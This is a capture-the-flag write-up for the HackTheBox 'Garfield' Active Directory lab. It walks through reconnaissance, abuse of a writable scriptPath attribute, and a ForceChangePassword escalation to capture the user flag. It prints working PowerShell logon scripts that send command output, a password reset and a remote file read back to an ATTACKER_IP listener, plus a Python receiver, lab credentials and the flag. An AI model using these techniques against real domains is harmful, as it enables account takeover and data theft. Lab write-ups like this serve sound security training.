HackTheBox - Garfield (Hard) Writeup
Machine Info
| Item | Details |
|---|---|
| Name | Garfield |
| Difficulty | Hard |
| OS | Windows Server 2019 |
| Type | Active Directory Domain Controller |
| Season | Season 10 |
| Creator | ruycr4ft |
| Hostname | DC01.garfield.htb |
| Domain | garfield.htb (GARFIELD) |
Reconnaissance
Port Scan
nmap -Pn -sC -sV -T4 --min-rate 1000 <TARGET_IP>
Key open ports:
| Port | Service | Notes |
|---|---|---|
| 53 | DNS | Simple DNS Plus |
| 88 | Kerberos | Microsoft Kerberos |
| 135 | MSRPC | Microsoft Windows RPC |
| 389/636 | LDAP/LDAPS | Active Directory LDAP |
| 445 | SMB | Microsoft-DS |
| 2179 | vmrdp | Hyper-V VM Remote Desktop Protocol |
| 3389 | RDP | Microsoft Terminal Services |
| 5985 | WinRM | Microsoft HTTPAPI |
| 9389 | ADWS | AD Web Services |
From RDP certificate and LDAP banners:
- Domain:
garfield.htb - Computer name:
DC01 - Product version: Windows Server 2019 (10.0.17763)
- Port 2179 reveals Hyper-V presence, hinting at internal virtual machines
Initial Credentials
Provided starting credentials:
- Username:
j.arbuckle - Password:
Th1sD4mnC4t!@1978
Jon Arbuckle is the owner character from the Garfield comic strip.
User Enumeration
Kerberos pre-authentication check to confirm valid accounts:
GetNPUsers.py garfield.htb/ -no-pass -usersfile users.txt -dc-ip <TARGET_IP>
Confirmed valid accounts:
administrator- Domain Administratorj.arbuckle- Jon Arbuckle (our initial user)l.wilson- Liz Wilson (the veterinarian from Garfield)
Full LDAP enumeration after authentication:
GetADUsers.py -all 'garfield.htb/j.arbuckle:Th1sD4mnC4t!@1978' -dc-ip <TARGET_IP>
| Account | Notes |
|---|---|
| Administrator | Domain Admin |
| krbtgt | Kerberos TGT account |
| krbtgt_8245 | RODC krbtgt account (confirms Read-Only Domain Controller exists) |
| j.arbuckle | Jon Arbuckle |
| l.wilson | Liz Wilson (Remote Management Users, Remote Desktop Users) |
| l.wilson_adm | Liz Wilson ADM (Tier 1 group, Remote Management Users) |
Foothold
ACL Analysis
Enumerate writable attributes for j.arbuckle:
bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb \
--host DC01 get writable --otype user --right WRITE --detail
Critical finding: j.arbuckle has WriteProperty on l.wilson's scriptPath attribute.
The scriptPath attribute defines a script that executes automatically when a user logs in interactively. Scripts are loaded from the NETLOGON share (\\DC01\NETLOGON\).
Attack: Logon Script Injection
Step 1: Create malicious script
A batch file using PowerShell StreamWriter for one-way TCP data exfiltration:
@echo off
powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "
$c=New-Object System.Net.Sockets.TcpClient('ATTACKER_IP',9001);
$s=$c.GetStream();
$w=New-Object System.IO.StreamWriter($s);
$w.AutoFlush=$true;
$w.WriteLine((whoami));
$c.Close()"
Note: Interactive reverse shells didn't work in this environment, but StreamWriter-based one-way data exfiltration succeeded.
Step 2: Upload to SYSVOL
smbclient.py 'garfield.htb/j.arbuckle:Th1sD4mnC4t!@1978@DC01' << EOF
use SYSVOL
cd garfield.htb/scripts
put grab.bat
exit
EOF
The garfield.htb\scripts directory in SYSVOL is the backend path for the NETLOGON share.
Step 3: Set l.wilson's scriptPath
bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb \
--host DC01 set object l.wilson scriptPath -v 'grab.bat'
Step 4: Wait for l.wilson to log in
DC01 has a scheduled task that simulates an interactive logon for l.wilson. When the logon occurs, the scriptPath script executes automatically.
Set up a TCP data receiver on the attacker machine:
import socket, time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 9001))
s.listen(1)
conn, addr = s.accept()
time.sleep(5)
data = b''
while True:
try: data += conn.recv(4096)
except: break
print(data.decode(errors='replace'))
Confirmation received: garfield\l.wilson
Timing note: The scheduled task only fires once after machine boot. Both the scriptPath attribute and SYSVOL files persist across machine resets (AD attributes and DC disk files), so everything must be configured before the next reboot for the logon trigger to execute the script.
User Flag
l.wilson → l.wilson_adm (ForceChangePassword)
l.wilson has ForceChangePassword extended rights over l.wilson_adm.
Password reset via ADSI in the logon script:
@echo off
powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "
$c=New-Object System.Net.Sockets.TcpClient('ATTACKER_IP',9001);
$s=$c.GetStream();
$w=New-Object System.IO.StreamWriter($s);
$w.AutoFlush=$true;
try {
$adm=[ADSI]'LDAP://CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb';
$adm.SetPassword('W1ls0n!2026');
$adm.SetInfo();
$w.WriteLine('l.wilson_adm password changed!')
} catch {
$w.WriteLine('Failed: '+$_.Exception.Message)
};
$c.Close()"
Result: l.wilson_adm changed!
Note:
l.wilsoncannot change her own password (Access Denied), but can changel.wilson_adm's password due to the ForceChangePassword ACL delegation in Active Directory.
Retrieving user.txt
l.wilson_adm is in the Remote Management Users group, but direct WinRM connections return Access Denied. Instead, use Invoke-Command from l.wilson's logon script:
@echo off
powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "
$c=New-Object System.Net.Sockets.TcpClient('ATTACKER_IP',9001);
$s=$c.GetStream();
$w=New-Object System.IO.StreamWriter($s);
$w.AutoFlush=$true;
$secpw=ConvertTo-SecureString 'W1ls0n!2026' -AsPlainText -Force;
$cred=New-Object System.Management.Automation.PSCredential(
'garfield.htb\l.wilson_adm',$secpw);
$result=Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock {
whoami
type C:\Users\l.wilson_adm\Desktop\user.txt
whoami /groups
};
$w.WriteLine(($result -join [char]10));
$c.Close()"
Output:
garfield\l.wilson_adm
eeacc63de1fcabaf1332f9ef4887d121
User Flag
eeacc63de1fcabaf1332f9ef4887d121
Attack Chain Summary
j.arbuckle (initial credentials)
│
├── WriteProperty: scriptPath on l.wilson
│ └── Upload malicious .bat to NETLOGON + set scriptPath
│
▼
l.wilson (triggered via scheduled logon task)
│
├── ForceChangePassword on l.wilson_adm
│ └── ADSI SetPassword() to reset password
│
▼
l.wilson_adm (Tier 1, Remote Management Users)
│
└── Invoke-Command → user.txt
Tools Used
| Tool | Purpose |
|---|---|
| nmap | Port scanning and service identification |
| Impacket (smbclient.py, GetADUsers.py, GetNPUsers.py) | SMB operations, AD enumeration |
| bloodyAD | ACL enumeration and AD attribute modification |
| Python socket | TCP data receiver |
| PowerShell (ADSI, Invoke-Command) | Password change, remote command execution |